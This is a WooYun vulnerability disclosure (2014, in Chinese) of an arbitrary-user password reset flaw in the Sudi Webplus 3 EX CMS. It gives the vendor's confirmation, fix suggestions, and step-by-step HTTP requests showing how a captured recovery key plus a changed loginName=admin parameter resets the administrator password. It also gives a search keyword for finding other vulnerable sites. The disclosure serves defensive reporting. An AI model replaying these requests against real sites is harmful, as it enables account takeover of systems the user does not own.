当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-064788

漏洞标题：苏迪Webplus 3 EX网站群内容管理系统任意用户密码重置

相关厂商：苏迪科技

漏洞作者： 路人甲

提交时间：2014-06-13 17:09

修复时间：2014-09-11 17:10

公开时间：2014-09-11 17:10

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-13： 细节已通知厂商并且等待厂商处理中
2014-06-13： 厂商已经确认，细节仅向厂商公开
2014-06-16： 细节向第三方安全合作伙伴开放
2014-08-07： 细节向核心白帽子及相关领域专家公开
2014-08-17： 细节向普通白帽子公开
2014-08-27： 细节向实习白帽子公开
2014-09-11： 细节向公众公开

简要描述：

南京苏迪科技Webplus 3 EX网站群内容管理系统存在任意用户密码重置问题；

详细说明：

苏迪科技Webplus 3 EX网站群内容管理系统，用户密码找回功能存在设计缺陷，导致任意用户密码重置。
测试操作如下：
1.由于我们没有测试账号，因此需要先注册一个账号：（注册地址默认是不公开的，让人找得好辛苦啊！~~~）
http://www.ceshizhandian.edu.cn/_web/ids/userRegister.do?_p=YXM9MSZwPTEmbT1OJg__

17.png


一定要填写：密保问题和密保答案哟！
2. 找回密码：
http://www.ceshizhandian.edu.cn//_web/ids/initPasswordRecoveryApply.do?_p=YXM9MSZ0PTAmcD0xJm09TiY_&t=0.3189659991047933

2.png


密码类型选择“密保问题”
3. 回答密保问题

3.png

下一步：
出现这样一个link
http://www.ceshizhandian.edu.cn/_web/ids/passwordRecoveryApplyResetPassword.do?_p=YXM9MSZ0PTAmcD0xJm09TiY_&key=27b09e73-8b7d-4575-aed5-aad9fb28478a
特别需要注意的是key 27b09e73-8b7d-4575-aed5-aad9fb28478a
当然了，你此时可以用Fiddle记录一下，重置test1用户的提交数据内容，你可以发现提交的link是这样的：
http://www.ceshizhandian.edu.cn/_web/ids/resetNewPasswordRecoveryApply.do?loginName=test1&key=27b09e73-8b7d-4575-aed5-aad9fb28478a&_p=YXM9MSZ0PTAmcD0xJm09TiY_

POST 提交：
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.ceshizhandian.edu.cn/_web/ids/passwordRecoveryApplyResetPassword.do?_p=YXM9MSZ0PTAmcD0xJm09TiY_&key=27b09e73-8b7d-4575-aed5-aad9fb28478a
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.ceshizhandian.edu.cn
Content-Length: 40
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=6A7CA28760FC74156AC23F20AE72524B; validateImageValue=4963


提交内容：newPassword=sexsex11&rePassword=sexsex11
如果将loginName=test1换成loginName=admin是否可以修改admin用户的密码？
答案是肯定滴！

漏洞证明：

4. 重新为test1用户做一次密码找回，在第三步时记录url的key值
在Fiddle中修改：

http://www.ceshizhandian.edu.cn/_web/ids/resetNewPasswordRecoveryApply.do?loginName=admin&key=新的key值&_p=YXM9MSZ0PTAmcD0xJm09TiY_
POST 提交：
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.ceshizhandian.edu.cn/_web/ids/passwordRecoveryApplyResetPassword.do?_p=YXM9MSZ0PTAmcD0xJm09TiY_&key=新的key值
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.ceshizhandian.edu.cn
Content-Length: 40
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=6A7CA28760FC74156AC23F20AE72524B; validateImageValue=4963


提交内容：newPassword=sexsex11&rePassword=sexsex11
提交之后，使用admin用户的新密码登录http://www.ceshizhandian.edu.cn/login.jsp?_p=YXM9MTkmcD0xJm09TiY_

4.1.png


使用www.so.com搜索关键字 WebPlus 3 Ex【网站群内容管理系统】
可以找到不少的测试目标，如海洋大学：

0.png

修复方案：

1.关闭注册功能；
2.关闭密码找回功能；
3.增加验证条件，判断token与用户名或者用户ID的关系；

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-06-13 19:37

厂商回复：

问题已经确认，正在对所有项目进行升级，感谢作者对产品关注和贡献

最新状态：

暂无

漏洞评价：

评论

  1. 2015-09-13 19:22 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效，坚持好的习惯千万不要放弃)

    最后一步的验证漏洞